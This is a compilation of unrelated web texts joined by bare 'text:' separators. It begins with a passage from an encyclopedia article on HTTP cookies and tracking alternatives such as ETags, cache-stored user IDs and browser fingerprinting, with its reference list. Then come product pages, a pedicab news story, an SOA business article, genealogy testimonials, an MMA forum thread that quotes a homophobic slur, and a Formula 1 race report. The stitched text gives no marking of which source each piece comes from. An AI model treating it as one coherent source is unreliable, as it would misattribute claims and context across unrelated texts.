Query strings used in this way and cookies are very similar, both being arbitrary pieces of information chosen by the server and sent back by the browser. However, there are some differences: since a query string is part of a URL, if that URL is later reused, the same attached piece of information is sent to the server. For example, if the preferences of a user are encoded in the query string of a URL and the user sends this URL to another user by e-mail, those preferences will be used for that other user as well.
Moreover, even if the same user accesses the same page two times, there is no guarantee that the same query string is used in both views. For example, if the same user arrives to the same page but coming from a page internal to the site the first time and from an external search engine the second time, the relative query strings are typically different while the cookies would be the same. For more details, see query string.
Other drawbacks of query strings are related to security: storing data that identifies a session in a query string enables or simplifies session fixation attacks, referrer logging attacks and other security exploits. Transferring session identifiers as HTTP cookies is more secure.
Hidden form fields[edit]
Another form of session tracking is to use web forms with hidden fields. This technique is very similar to using URL query strings to hold the information and has many of the same advantages and drawbacks; and if the form is handled with the HTTP GET method, the fields actually become part of the URL the browser will send upon form submission. But most forms are handled with HTTP POST, which causes the form information, including the hidden fields, to be appended as extra input that is neither part of the URL, nor of a cookie.
This approach presents two advantages from the point of view of the tracker: first, having the tracking information placed in the HTML source and POST input rather than in the URL means it will not be noticed by the average user; second, the session information is not copied when the user copies the URL (to save the page on disk or send it via email, for example).
This method can be easily used with any framework that supports web forms.
The downside is that every separate window or tab will initially have an empty window.name; in times of tabbed browsing this means that individually opened tabs (initiation by user) will not have a window name. Furthermore window.name can be used for tracking visitors across different websites, making it of concern for internet privacy.
In some respects this can be more secure than cookies due to not involving the server, so it is not vulnerable to network cookie sniffing attacks. However if special measures are not taken to protect the data, it is vulnerable to other attacks because the data is available across different websites opened in the same window or tab.
HTTP authentication[edit]
The HTTP protocol includes the basic access authentication and the digest access authentication protocols, which allow access to a web page only when the user has provided the correct username and password. If the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent page request. This information can be used to track the user.
Identifier for advertisers[edit]
identifier for advertisers or IDFA. Is a unique string of characters assigned to every user buying and using an Apple iOS device. So when ads run on Apple's advertising network iAd for example, Apple is able to determine who's receiving the ad, and potentially to connect that back to everything that person did elsewhere in Apple's system.[59]
Because ETags are cached by the browser, and returned with subsequent requests for the same resource, a tracking server can simply repeat any ETag received from the browser to ensure an assigned ETag persists indefinitely (in a similar way to persistent cookies). Additional caching headers can also enhance the preservation of ETag data.
ETags may be flushable by clearing the browser cache (implementations vary).
Web Storage[edit]
Some web browsers support a script based on a persistence mechanism, which allows the page to store the information locally for later use. With HTML 5 There are two main web storage types: local storage and session storage, behaving similarly to persistent cookies and session cookies respectively. Internet Explorer supports persistent information [60] in the browser's history, favorites, in an XML store ("user data"), or directly within a Web page saved to disk.
Some plugins includes a similar mechanisms. For example, Flash has Local Shared Object and Silverlight has Isolated Storage.[61]
Browser cache can also be used to store information that will be used to track the user. Until the cache is cleared, the stored resources are not reloaded. For example, serve a resource
current.js with a unique content
var userId = 3243242;. Each times this file will be reloaded from the cache, its content will not change and a JavaScript code can operate it to identify the current user.
Browser fingerprint[edit]
Browser fingerprint is information collected about a browser's configuration for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off.
Basic web browser configuration information has long been collected by web analytics services in an effort to accurately measure real human web traffic and discount various forms of click fraud. With the assistance of client-side scripting languages, collection of much more esoteric parameters is possible.[62][63] Assimilation of such information into a single string comprises a device fingerprint. In 2010, EFF measured at least 18.1 bits of entropy possible from browser fingerprinting,[64] but that was before the advancements of canvas fingerprinting, which claims to add another 5.7 bits.
See also[edit]
- Dynamic HTML
- Evercookie
- Local Shared Object – Flash Cookies
- Session Beans
- Session (computer science)
- Session ID
- Web server session management
- Web Storage and DOM Storage
- Web visitor tracking
- Zombie cookie
- HTTP ETag
- Web bug
- ^ "HTTP State Management Mechanism – Overview". IETF. April 2011.
- ^ Penenberg, Adam; Cookie Monsters, Slate, November 7, 2005. "Cookies are not software. They can't be programmed, can't carry viruses, and can't unleash malware to go wilding through your hard drive."
- ^ "What about the "EU Cookie Directive"?". WebCookies.org. 2013.
- ^ "New net rules set to make cookies crumble". BBC. 2011-03-08.
- ^ "Sen. Rockefeller: Get Ready for a Real Do-Not-Track Bill for Online Advertising". Adage.com. 2011-05-06.
- ^ a b c Peng, Weihong; Cisna, Jennifer (2000). "HTTP cookies - a promising technology". Proquest. Online Information Review. Retrieved 29 March 2013.
- ^ Vamosi, Robert (2008-04-14). "Gmail cookie stolen via Google Spreadsheets".
- ^ Schwartz, John (2001-09-04). "Giving Web a Memory Cost Its Users Privacy". The New York Times.
- ^ a b Kesan, Jey; and Shah, Rajiv ; Deconstructing Code, SSRN.com, chapter II.B (Netscape's cookies), Yale Journal of Law and Technology, 6, 277–389
- ^ a b Kristol, David; HTTP Cookies: Standards, privacy, and politics, ACM Transactions on Internet Technology, 1(2), 151–198, 2001 doi:10.1145/502152.502153 (an expanded version is freely available at arXiv:cs/0105018v1 [cs.SE])
- ^ "Press Release: Netscape Communications Offers New Network Navigator Free On The Internet". Web.archive.org. Archived from the original on 2006-12-07. Retrieved 2010-05-22.
- ^ "Usenet Post by Marc Andreessen: Here it is, world!". Groups.google.com. 1994-10-13. Retrieved 2010-05-22.
- ^ Hardmeier, Sandi (2005-08-25). "The history of Internet Explorer". Microsoft. Retrieved 2009-01-04.
- ^ Jackson, T (1996-02-12). "This Bug in Your PC is a Smart Cookie". Financial Times.
- ^ "Maintaining session state with cookies". Microsoft Developer Network. Retrieved 22 October 2012.
- ^ Rouse, Margaret (September 2005). "Transient cookie (session cookie)". SearchSOA. TechTarget. Retrieved 22 October 2012.
- ^ "Same-origin policy for cookies".
- ^ OWASP Browsers Supporting HttpOnly
- ^ a b c d IETF HTTP State Management Mechanism – Apr, 2011 Obsoletes RFC 2965
- ^ Böttiger, Arvid (2011). "HTTP-Only cookies - Brought to you by Internet Explorer 6".
- ^ "Third party domains". WebCookies.org.
- ^ "Number of cookies". WebCookies.org.
- ^ Mayer, Jonathan (19 August 2011). "Tracking the Trackers: Microsoft Advertising". The Center for Internet and Society. Retrieved 28 September 2011.
- ^ Vijayan, Jaikumar. "Microsoft disables 'supercookies' used on MSN.com visitors". Retrieved 23 November 2014.
- ^ Jim Manico quoting Daniel Stenberg, Real world cookie length limits
- ^ "Persistent client state HTTP cookies: Preliminary specification". Netscape. c. 1999. Archived from the original on 2007-08-05.
- ^ RFC 2965 – HTTP State Management Mechanism (IETF)
- ^ "Cookie Property". MSDN. Microsoft. Retrieved 2009-01-04.
- ^ Shannon, Ross (2007-02-26). "Cookies — set and retrieve information about your readers". HTMLSource. Retrieved 2009-01-04.
- ^ "HTTP State Management Mechanism – The Path Attribute". IETF. March 2014.
- ^ "RFC 6265 - HTTP State Management Mechanism – Domain matching". IETF. March 2014.
- ^ "RFC 6265 - HTTP State Management Mechanism – The Domain Attribute". IETF. March 2014.
- ^ "RFC 2109 - HTTP State Management Mechanism – Set-Cookie syntax". IETF. March 2014.
- ^ HTTP State Management Mechanism
- ^ "Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)" (PDF) XIII. Symantec Corp. April 2008. pp. 1–3. Retrieved May 11, 2008.
- ^ Whalen, David (June 8, 2002). "The Unofficial Cookie FAQ v2.6". Cookie Central. Retrieved 2009-01-04.
- ^ "3rd-Party Cookies, DOM Storage and Privacy". grack.com: Matt Mastracci's blog. January 6, 2010. Retrieved 2010-09-20.
- ^ "How to Manage Cookies in Internet Explorer 6". Microsoft. December 18, 2007. Retrieved 2009-01-04.
- ^ "Clearing private data". Firefox Support Knowledge base. Mozilla. 16 September 2008. Retrieved 2009-01-04.
- ^ "Clear Personal Information : Clear browsing data". Google Chrome Help. Google. Retrieved 2009-01-04.
- ^ "Clear Personal Information: Delete cookies". Google Chrome Help. Google. Retrieved 2009-01-04.
- ^ "Site Compatibility for Firefox 22", Mozilla Developer Network, 2013-04-11
- ^ Miyazaki, Anthony D. (2008), "Online Privacy and the Disclosure of Cookie Use: Effects on Consumer Trust and Anticipated Patronage," Journal of Public Policy & Marketing, 23 (Spring), 19–33
- ^ "CIA Caught Sneaking Cookies". CBS News. 2002-03-20.
- ^ "Spy Agency Removes Illegal Tracking Files". New York Times. 2005-12-29.
- ^ "EU Cookie Directive - Directive 2009/136/EC". JISC Legal Information. Retrieved 31 October 2012.
- ^ a b c Privacy and Electronic Communications Regulations. Information Commissioner's Office. 2012.
- ^ "Directive 95/46/EC of the European Parliament and of the Council of 24 October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of such data". 1995-11-23. pp. P. 0031–0050. Retrieved 31 October 2012.
- ^ "New EU cookie law (e-Privacy Directive)". Retrieved 31 October 2012.
- ^ "EU cookie law: stop whining and just get on with it". Retrieved 31 October 2012.
- ^ a b "A Loophole Big Enough for a Cookie to Fit Through". Bits. The New York Times. Retrieved 31 January 2013.
- ^ Pegoraro, Rob (July 17, 2005). "How to Block Tracking Cookies". Washington Post. p. F07. Retrieved 2009-01-04.
- ^ Wired Hack Obtains 9 Bogus Certificates for Prominent Websites
- ^ Fielding, Roy (2000). "Fielding Dissertation: CHAPTER 6: Experience and Evaluation". Retrieved 2010-10-14.
- ^ Tilkov, Stefan (July 2, 2008). "REST Anti-Patterns". InfoQ. Retrieved 2009-01-04.
- ^ a b Mena, Jesús (2011). Machine Learning Forensics for Law Enforcement, Security, and Intelligence. Boca Raton, FL: CRC Press (Taylor & Francis Group). ISBN 9-781-4398-6069-4.
- ^ "ThomasFrank.se". ThomasFrank.se. Retrieved 2010-05-22.
- ^ http://venturebeat.com/2014/10/06/the-cookie-is-dead-heres-how-facebook-google-and-apple-are-tracking-you-now/
- ^ http://msdn.microsoft.com/en-us/library/ms533007%28v=vs.85%29.aspx
- ^ http://msdn.microsoft.com/en-us/library/bdts8hk0%28v=vs.95%29.aspx
- ^ "BrowserSpy". gemal.dk. Retrieved 2010-01-28.
- ^ "IE "default behaviors [sic]" browser information disclosure tests: clientCaps". Mypage.direct.ca. Retrieved 2010-01-28.
- ^ Eckersley, Peter (17 May 2010). "How Unique Is Your Web Browser?". eff.org. Electronic Frontier Foundation. Retrieved 23 July 2014.
This article is based on material taken from the Free On-line Dictionary of Computing prior to 1 November 2008 and incorporated under the "relicensing" terms of the GFDL, version 1.3 or later.
External links[edit]
- RFC 6265 – the official specification for HTTP cookies
- HTTP cookies - Mozilla Developer Network
- Using cookies via ECMAScript - Mozilla Developer Network
- How Internet Cookies Work at HowStuffWorks
- Information About Cookies from Microsoft
- Cookies at the Electronic Privacy Information Center (EPIC)
- Taking the Byte Out of Cookies: Privacy, Consent, and the Web (PDF)
- Web handbook – Cookies from Delivery And Transformation Group, Cabinet Office, UK
- Cookie-Based Counting Overstates Size of Web Site Audiences at ComScore
- Don't Tread on Our Cookies – The Web Privacy Manifesto at PBS
- Mozilla Knowledge-Base: Cookies
- AVG Blogs: What are Cookies


text:
You've created tons of Word documents. But perhaps you need some timesaving techniques to help you work faster. This short course will do just that: give you tips and tricks for working with Word 2010.
Offline Version (26 MB)
This course includes:
After completing this course you will be able to:
See more courses on Microsoft Office Training.


text:
16 Coolest College Classes
Zombies, ice cream, and Harry Potter sound like staples at a Halloween party, but these subjects actually make up some of the coolest college courses!
By Alex Abel
Sociology of Miley - Skidmore College
If you still don't know what to make of the new Miley, study her at Skidmore this summer! Learn about Miley's transformation from "Disney tween to twerking machine" and why the media is so obsessed with her, focusing on her public image and music as it has changed over time through the lenses of race, gender, media, and even feminism.


text:
WASHINGTON - Underneath a corporate office building on 18th and L streets in downtown D.C., a group of sleepy-eyed pedicab riders sipped coffee, leaned on bikes and geared up for the inauguration.
They caravanned in cars, crammed into buses and flew in from cities like Boston, Seattle, San Francisco, Chicago and Newport, R.I., to ride alongside their local brethren.
"Remember to charge your batteries. Always charge your batteries," says Nathan Pierce, D.C. branch manager of National Pedicabs. "And bring a blanket."
As tourists from around the globe descend on Washington for the inauguration, pedicab drivers from all over the country are preparing for what will likely be the industry's biggest weekend.
National Pedicabs is upping its fleet to about 25 riders that will be dispersed near the National Mall and around restaurant-heavy neighborhoods like Dupont Circle.
That some guest riders are unfamiliar with D.C.'s streets is just part of the fun.
"I'm actually kind of excited about it," says Clay Serna, Chicago branch manager of National Pedicabs. "Every day on a pedicab is like living a videogame. It's basically the craziest Frogger game you've ever played."
For others, coming to the capital is a chance to witness history.
"We're just really excited to be here, to be part of it. I think the energy is really high for everyone," says Oskar Mosco, who flew in from San Francisco last week. "Everything is lining up to be a really solid weekend, unless it snows or something like that."
Other potential problems include navigating through the hordes of people, blocked off streets and heavy police presence.
Mosco, who first started riding in D.C. four years, doesn't anticipate any major snags now that drivers have established better relationships with law enforcement. During the last inauguration, some pedicabs received frivolous tickets or conflicting information because neither the company managers nor police knew the exact laws, he says.
But National Park Service has cleared up those grey areas and is now working more closely with pedicabs instead of against them, Mosco says.
"It had been really frustrating, but NPS put a lid on that," he says.
With legalities out of the way, surviving inauguration weekend comes down to a combination of skill and initiative.
So how are the out-of-town riders planning to navigate a city they don't know?
"With smartphones and smiles," says 25-year-old Graham Ward from Boston. "We're just going to wing it. We'll figure it out."
Ward spent eights hours in a car with three other cyclists from Massachusetts. They got in late Thursday night and woke up early Friday morning for the planning meeting.
"It's a neat experience, but I hope to never do it again," Ward jokes about the long car ride. "But this is an event for history. I want to be part of it."
Mike Kowalczyk from Newport, R.I., appears a little more skittish about finding his way around town. On his first night in D.C., he and the other guys from Rhode Island spent 30 minutes looking for U Street. They never found it.
"I just hope half the [customers] know where they're going and, the other half of the time, I'm hoping that the GPS on my phone doesn't shut off," he says smiling.
He plans to shadow experienced Washington pedicabs until heading out on his own Sunday and Monday. But like the other cyclists who came in for the inauguration, Kowalczyk says getting lost and meeting new people is what will make this experience special.
"We figured it would be a cool roadtrip," he says of the decision to come down this weekend. "The four of us just packed into the car, sleeping head to foot in the van, and just hung out...It's an adventure."
D.C. native Jennifer Kramer is working her first inauguration. She has been living in Seattle for the last several years and is excited about witnessing history. As a child, she says she took these types of events for granted.
"When there are events that people are happy to be at, being able to enhance that experience is always nice," she says, adding that sporting events can be a mixed bag when half of the crowd is upset because their team lost.
Kramer also happens to be the only woman riding with National Pedicabs, and is therefore making a bit of her own history.
"I get a lot of families who won't approach a male driver, but they will approach me," she says. "Especially being friendly and outgoing, it can really be disarming for people."


text:
New Arrivals
mouse over photo to zoom click for larger image
Be Creative Pin Dot Asymmetrical Ruffle Tankini
One-shoulder tankini finished with breezy mesh ruffles all the way around—modern, feminine, gorgeous!
- Includes a removable, adjustable strap for extra support.
- Stay-put silicone along the shoulder and neckline.
- Integrated soft cup bra with power mesh contour bra.
- Minimizes tummy and bust.
- Sizes: 8-16.
- Made by Christina.
- 76% Nylon, 24% Spandex. Hand wash, cold. Imported.
- All swimwear available online, or call your favorite Soma Intimates for specific style and size availability. Check our store locator on our home page for contact information.
*Top and bottom sold separately.
We're so sorry: this item sold out sooner than expected. For an equally comfortable substitute, please call our Solution Experts at 1.866.768.7662. Or click on Soma Chat below for immediate assistance.


text:
photographer. writer.
- @sadhanakitchen doin yoga. instagram.com/p/vUbIJ8EuhH/ - 1 month ago
- sunday abstract light meditations. instagram.com/p/muF7Jbkupg/ - 8 months ago
- i have no proof that you are not me. instagram.com/p/mmQY-zEusX/ - 8 months ago
- bush meditations. #bluemountains #nsw #australia instagram.com/p/mWMSJMEutS/ - 8 months ago
- #bluemountains instagram.com/p/mUbYLfkuhW/ - 8 months ago
- abstract architecture art artist auckland australia autumn black and white blog bnw books brooklyn cbd city collaborations colour dialogue digital digital art drawing experimental fitzroy friends graffiti guitars illustration images interview iphone jack kerouac LA life literature live lyrics manhattan melbourne melbourne street art music nature new york new zealand no expectations nyc painting people photo photography photos photoshop poem poetry portrait portraits portraiture prahran prose red sex sketches st kilda stream of conscious street street art subway surreal sydney text poetry the doors travel video words writers writing yellow


text:
This product has additional required/recommended options. To configure, add to your cart.
Rough In Valve Required
Chesterfield Double Handle Low Lead Widespread Wall Mounted Lavatory Faucet with Metal Cross Handles
The Newport Brass Chesterfield Collection features traditional styling that will bring a feel of classic decor to your home. The Chesterfield Collection from Newport Brass is a complete suite, offering sink faucets, shower faucets, roman tub fillers and accessories. Newport Brass lavatory faucets are available in several different styles with 25 unique finish options. You will see why Newport Brass boasts Flawless Beauty from Faucet to Finish
- Double handle lavatory faucet
- ADA Compliant Cross Handles
- Intended for use with Newport Brass rough valve item 1-532
- CA/VT Low lead compliant
- WaterSense Certified
- Solid brass
- Readyship Available Finishes - Finishes guaranteed to be in stock by Newport Brass
- Oil Rubbed Bronze
- Polished Nickel
- Satin Nickel
- Polished Chrome
Finish Features:
- Available in 25 beautiful finishes
- New Industry Leading lacquer Finish Process
- IAPMO Certified and tested
- Long Life Finishes - 10 Year Warranty
- Durable, color protected, scratch resistant
- Green, low VOC, energy efficient finishing process
- Spout reach: 7-5/8"
- Overall Height: 2-3/8"
- Low Lead Compliant : Yes
- WaterSense Certified : Yes
- Material : Solid Brass
- 1/2" valves
- Handles Included: Yes
Additional Newport Brass Links
- View Manufacturer Warranty
- Shop All Newport Brass Products
- Shop All Newport Brass CHESTERFIELD Collection Products
Our SKU: Newport Brass 3-9301
This product is listed under the following manufacturer number(s):
- Newport Brass 3-9301/06
Antique Brass
- Newport Brass 3-9301/08A
Antique Copper
- Newport Brass 3-9301/65
- Newport Brass 3-9301/54
- Newport Brass 3-9301/07
English Bronze
- Newport Brass 3-9301/56
Flat Black
- Newport Brass 3-9301/01
Forever Brass (PVD)
- Newport Brass 3-9301/24A
French Gold (PVD)
- Newport Brass 3-9301/54
Gloss Black
- Newport Brass 3-9301/14
Gun Metal
- Newport Brass 3-9301/52
Matte White
- Newport Brass 3-9301/10B
Oil Rubbed Bronze
- Newport Brass 3-9301/ORB
Oil Rubbed Bronze (Hand Relieved)
- Newport Brass 3-9301/26
Polished Chrome
- Newport Brass 3-9301/08
Polished Copper
- Newport Brass 3-9301/24
Polished Gold (PVD)
- Newport Brass 3-9301/15
Polished Nickel
- Newport Brass 3-9301/04
Satin Brass (PVD)
- Newport Brass 3-9301/10
Satin Bronze (PVD)
- Newport Brass 3-9301/26D*
Satin Chrome
- Newport Brass 3-9301/24S
Satin Gold (PVD)
- Newport Brass 3-9301/15S
Satin Nickel
- Newport Brass 3-9301/20
Stainless Steel (PVD)
- Newport Brass 3-9301/03N
Uncoated Polished Brass (Living)
- Newport Brass 3-9301/VB
Venetian Bronze
- Newport Brass 3-9301/03W
Weathered Brass (Living)
- Newport Brass 3-9301/08W
Weathered Copper (Living)
- Newport Brass 3-9301/50
*Denotes a finish or option that has been discontinued
Manufacturer Resources
Installation Resource Center
Whether you are installing the product yourself or hiring a professional, our installation Resource Center has everything you need to get your project done. Visit the Installation Resource Center to get started.


text:
Michael W. Smith Talks About Being an Artist in Both Christian and Pop Genres
Music Videos & Features
Christian music icon Michael W. Smith has had amazing success in both Christian and secular music, with hits like "My Place in This World". We asked him what it's like to be an top artist in both the Christian music and pop music genres. His answer reflected the REAL reason why he's had such success in music!
An exclusive video interview!


text:
Spread the Word
There is no doubt about it: service-oriented architecture, or SOA, has gained acceptance as a way to exchange data previously trapped in legacy systems and isolated databases. The I.T. architecture supports the integration of business processes as linked services or repeatable business tasks that can be accessed to make those applications and databases available as "services," leveraging mechanisms such as eXtensible Markup Language to facilitate the sharing of information.
According to a study released in November 2006 by Boston-based AMR Research, 35% of executives said their companies had implemented one or more projects using SOA. A survey of 179 technology executives, published last month by CIO Insight, found that 79% expect their company's technology architecture will be based on service-oriented software, Web services and related technologies in the next five years.
Now that SOA has gained acceptance, what lessons have been learned from past deployments that can be used during future projects? Here are five suggestions, based on interviews with information-technology professionals and industry analysts.
1) Spread the Word
Technology executives must make it clear that an SOA implementation isn't a one-shot deal. "SOA is not something you deploy and then you're finished. It's a new approach toward software engineering," says Yefim Natis, a vice president at research firm Gartner in Stamford, Conn. He anticipates that all applications will be modernized or replaced by SOA, and that new purchased and in-house-developed apps will be based on the architecture. "The SOA discipline and practices are the permanent replacement for the now-prevailing monolithic [even if technically distributed] systems."
After SOA has been successfully deployed in one or two projects, information-technology managers must articulate the value of a service-based architecture to business executives and employees. By doing this, they can show senior executives, including people in finance, that a move to SOA is worth the money and effortincluding demonstrating how SOA can help departments function more successfully and workers perform more productively.
Even within the I.T. department, proponents of SOA need to promote SOA. "Initial projects tend to be pretty informal and isolated, so part of the next step needs to be scaling up the effort, bringing more of the I.T. organization into the loop and educating them," says Ian Finley, research director at AMR Research. "This is an internal sales job about what the capabilities are, what the project was and why it worked well."
Next page: Prepare for Job Changes
2) Prepare for Job Changes
Adoption of SOA requires technology organizations to understand that the role of some workers must changeand, possibly, their skills.
AMR's Finley sees three new types of workers for organizations using SOA. First is the "service creator," a combination of programmer, enterprise architect, product designer and product manager who creates services from existing applications and data sources as well as from scratch.
The "service consumer" is less of a developer and more of a business process expert, using business process modeling tools rather than programming languages to create solutions for business users.
And the "service librarian" is responsible for ensuring that solutions use existing services instead of creating new ones.
The services need to be managed like products, Finley says, with releases, product requirement lists, migrations and so on, because they have multiple customers. "For many, this will represent an evolution in their role, rather than a brand-new role," he says.
3) Develop Best Practices
Organizations that have gained traction with SOA should begin to develop best practices to help successfully deploy the architecture in other areas. Gartner's Natis says SOA is at a point in its evolution where there's lots of learning needed and many obstacles to overcomesuch as lack of experience, lack of dedicated tools and, as a result, increasing complexity. All this, even as some companies begin to see benefits such as greater agility, faster times to market and faster turnaround of business requests for I.T. services.
Gartner, for example, recommends that companies establish an integration/SOA competency center.
TD Banknorth, a financial services firm in Portland, Maine, developed recommendations for implementing SOA after its initial deployment, which began in 2004. The company used webMethods' SOA platform for several projects, including a Web service to make it easier to complete customer address changes. The service, built within the webMethods Fabric suite of products, enables call-center agents or branch employees to make address changes and automatically have those changes reflected in all of the customer's accounts. Other SOA projects involve a small-business loan origination service and the company's online banking system.
The recommendations established for SOA address the software tools, people and processes involved in an implementation, and include basic Web services such as messaging, common service models, service descriptions, contracts and meta-data, says Joe Castinado, enterprise architect at TD Banknorth. "By creating these guidelines, we have the benefit of providing boundaries around what is considered a service and at what level the service can be utilized by the enterprise," Castinado says.
With these suggestions, I.T. can show others in the company what's been accomplished with SOA and how they can use the best practices to create new services.
The software industry is still working on standards for SOA, "so the established guidelines, policies and governance around SOA should be technology-independent, iterative in adoption and flexible to some degree," advises Bob Jones, vice president and head of the enterprise architecture group at TD Banknorth.
4) Manage Reuse
Because the goal of many SOA projects is to build reusable components or software modules, there needs to be a new governance structure in place to manage those new services, says AMR's Finley.
For example, a company that AMR had discussions with needed to re-deploy new services three or four times before they got to something they could reuse, Finley says. While there are tools for capturing the new services, he emphasizes that process and politics are the most important part of governance.
Just as I.T. governance ensures that technology investments are optimized to serve the business, SOA governance ensures that investments in services are optimized to serve I.T., Finley says.
An SOA governance committee should be responsible for directing and controlling activities such as service designthe definition, identity and creation of service domains; service reusedesigning a common repository of services; service ownershipassigning the creation of a shared service to a group for maintenance and upgrades; service management, reliability and availabilitythe ongoing management of and responsibility for the service; and service consolidationthe regular review of services and their need to be consolidated as the technologies and applications evolve.
USinternetworking, a subsidiary of AT&T that provides hosting and management services for corporate portals, enterprise applications and Internet retail sites, is looking to adopt a governance structure. It first deployed SOA in 2006 to integrate disparate applications and automate application provisioning throughout its enterprise.
Using several components of Oracle's Fusion Middleware, which provides an SOA architecture and identity management platform, USi developed SOA to integrate and simplify provisioning for internal business applications, including an Ariba procurement application and Oracle's PeopleSoft Enterprise programs. Prior to deploying SOA, provisioning employees for each of the business applications was a manual process requiring several steps to manage.
With the Oracle software, USi wrapped critical components, such as PeopleSoft's customer relationship management application programming interface and some proprietary applications, to expose them as Web services, then created processes linking the Web services to automate the company's provisioning and authentication process and streamline user name log-ons. The result was a reduction in costs to manage provisioning, though the exact amount was not available.
Going forward with its SOA deployment, USi is creating a standardized way to name and manage new services, says Michael Rulf, vice president of advanced engineering. "That allows us to create services a lot more quickly than we expected," he says.
This approach also enables USi to handle security consistently. "Each time a new function was created, it was automatically secured by the wrapper's built-in security function. Error handling was processed in a standardized way as well," Rulf says.
5) Measure Results
Is the move to SOA paying off, and if so, how? Some benefits, such as improved customer service, might be difficult to quantify. But others, like increased productivity and cost savings, can and should be measured.
Organizations need to develop metrics that will help them determine the long-term value of SOA, Finley says. For example, when building a return on investment model for an SOA project, companies must determine how to justify the cost of a technology initiative that might not begin paying back until years after the implementation.
"How do you put a value on that and, down the road, measure it?" Finley points out. "If you build a bunch of services, are people actually using them? There's a whole set of metrics that go along with this idea of reusable services; are you really delivering on those benefits you promised for SOA, like increased quality and flexibility? I don't think anyone out there has the answers on how to measure these things."
TD Banknorth is trying to build "general" SOA metrics such as the number of times a new service was executed in a day, week or month, and who is using the service, Castinado says. Based on its measures, the company determined that 80% of its SOA services were being used by more than one entity for development projects, and that it had reduced development costs by 50% over a nine-month period because of this reuse.


text:
Clifford Gavin , South AfricaUsing MyHeritage I have managed to go back 10 generations to my grandfather on the maternal side. Family history to me is just so amazing and a VERY BIG thank-you to MyHeritage.
K. N. Mathias , USAI am having the time of my life. Thanks for offering such a fabulous site that is going to help so many!
B. Ratliff , Berea, Kentucky, USAThis site is amazing! Technology is so incredible. I can't wait for all of my family members to join up.
D. Henry , North Lauderdale, FL, USAI have been trying to piece together my family for over 35 years and Smart Matches made it go past my wildest dreams. I love history. Thanks to MyHeritage.com, it has made a wonderful and really exciting hobby to really dig deep into.
R. Sloan , USAWOW! This is amazing! I cannot believe how super simple it is to research and create a family tree with very little information in hand. This is simply above and beyond anything else I've seen on the web! Thank you! Thank you! Thank you!
Your past begins with your family tree and it's easy to build one on MyHeritage. Add names, dates, photos and stories and share with your family.
Dive into our huge international records database – just search a name to learn more about your ancestors. With exclusive content and accurate results we'll help you uncover more than you ever imagined.
The minute you create a family tree, we'll begin searching for you. Look forward to email alerts with Smart Matches and Record Matches revealing new family tree connections, records and newspaper articles about your ancestors.
Millions of families around the world use MyHeritage to explore their history. Collaborate with members and join the thousands who reunite with long-lost relatives every single day through our network.
Research your family history with three award-winning products, all private and secure. Sync between them and enjoy a captivating journey to your past, wherever you are.


text:
Artem Lobov is fed up with everyone ducking him, will fight anyone, anywhere, and will give them his full purse
Artem Lobov is fed up with everyone ducking him, will fight anyone, anywhere, and will give them his full purse
I like Artem, but am I the only person who thinks this is an awful plan?
The only reason he has the losses he does is because he fights anyone, anywhere, often at the last minute, yet now that he needs to get a massive run of wins and no losses he's going to do the same thing? Surely now more than ever he needs to be picking his opponents and training for them in order to get those wins, not just fighting anybody and hoping for the best.
LANCASTER AND MORECAMBE MMA - Home to Shay Walsh, Matty Steele and Alex 'The Marksman' Makhonin
Great fighter and great guy hope he gets his shot.... although if he wants it he might be better to ditch the 'anyone, anywhere theory' and take a more careful approach to obtain the 11-6 winning record.
But im sure JK knows what he is doing
God bless the man, he's feeling confident. that's what it's all about. good form!
'I'm not saying I couldn't find a few minutes a day to read a forum, but somehow I've managed to make it through these past few years without being called a faggot on a daily basis.'
Fucking ufc match makers killing our sport over here putting visions in to our fighters heads telling them to fight bums to boost record this is why none of our good guys fight each other and the uk sport suffers.
So any fighters on here want to fight Lobov? Nice pay day
^ I knew you'd be up for it haha.
I'd like to see that fight
Andy Lillis, Former Cagewarriors President


text:
New Arrivals
mouse over photo to zoom click for larger image
Glitzy Parrot Simone Scoop Top
Our printed parrot—like our namesake Chico—shows off glam style with sequins, seed beads, and strips of ruffled mesh.
- Chico's 30th Anniversary Collection: exclusive, one-of-a-kind pieces individually designed to celebrate 30 unforgettable years.
- Soft ringspun cotton is lightweight with a fabulous texture.
- Flattering cap sleeves.
- Length: 24" to 26".
- 100% cotton.
- Hand wash. Imported.
We're so sorry: this item sold out sooner than expected. For an equally chic substitute, please call our Personal Service Associates at 1.888.855.4986. Or click on Chico's Chat below for immediate assistance.


text:
Photo Cards allow you to add your favorite photograph or artwork to personalize a message. Mount your photos, artwork or pictures to the front of these beautifully embossed cards. Included in each package are double-stick tabs for adhering up to a 4 in. x 6 in. picture. Cards are 5 in. x 6.875 in. and made of 80 lb. cover paper. Matching envelopes are 5.25 in. x 7.25 in. and made of 80 lb. text paper. Acid Free.
Ask a question about Photo Mount Greeting Cards Ask a question about this product
Average User Rating: Based on (27 Reviews)
5 27
Paula from Sacramento. CA says:
These are the best photo mount cards. They are elegant with the embossed frame. The quality and thickness of the paper enhances my photos.
Please wait...
You May Also Like...
How to get VIP Club Prices
Anyone can be a VIP Member with:
Only $25/year
Ask a Question About Photo Mount Greeting Cards
Your email will not be shared. We will only use your email address to respond to your question. When asking your question, please be as descriptive as possible, it will allow us to give you the most accurate answer possible.
Please wait...
Please wait...


text:
Please login to get more out of this site
You are currently not logged in, do so now to add comments, like articles as well as photos, submit to competitions, translate articles and gain access to unlimited photo upload! If you are not registered yet, go here to find out more about Lomography and join now! If you just want a limited account for now you can use Twitter or Facebook. We would love to have you as a member here!
Waiting for the first likes
Liking photos helps us to present the best ones to you and others.
No comments yet, be the first
Where is this?
Nearby popular photos – see more
Nearby LomoLocations
Island in the Sun: A Family Holiday in Vilamoura
This year my favourite person turns 70! My number one source of inspiration and support, my …


text:
Williams' point-less run continued in race three as they once again finished at the back with Marussia and Caterham...
Pastor Maldonado: It was a difficult race from the beginning. We lost a lot of time on the option tyres in the first stint and we just didn't have the pace. We didn't have a chance to fight for any higher positions and we know we are still far away from where we want to be, but we will keep our focus on improving.
Valtteri Bottas: The team did a good job with the strategy today and we made the most out of what we had. I think it was the best race I have done this season but we need to find more pace to get closer to the front. I knew it was going to be close with Pastor at the end, so I was pushing hard in my final stint on the medium tyres. I was then right behind him on the faster option tyres and so able to make a move on the penultimate lap. It was a nice end to the race but we still need to improve so we can race for points.
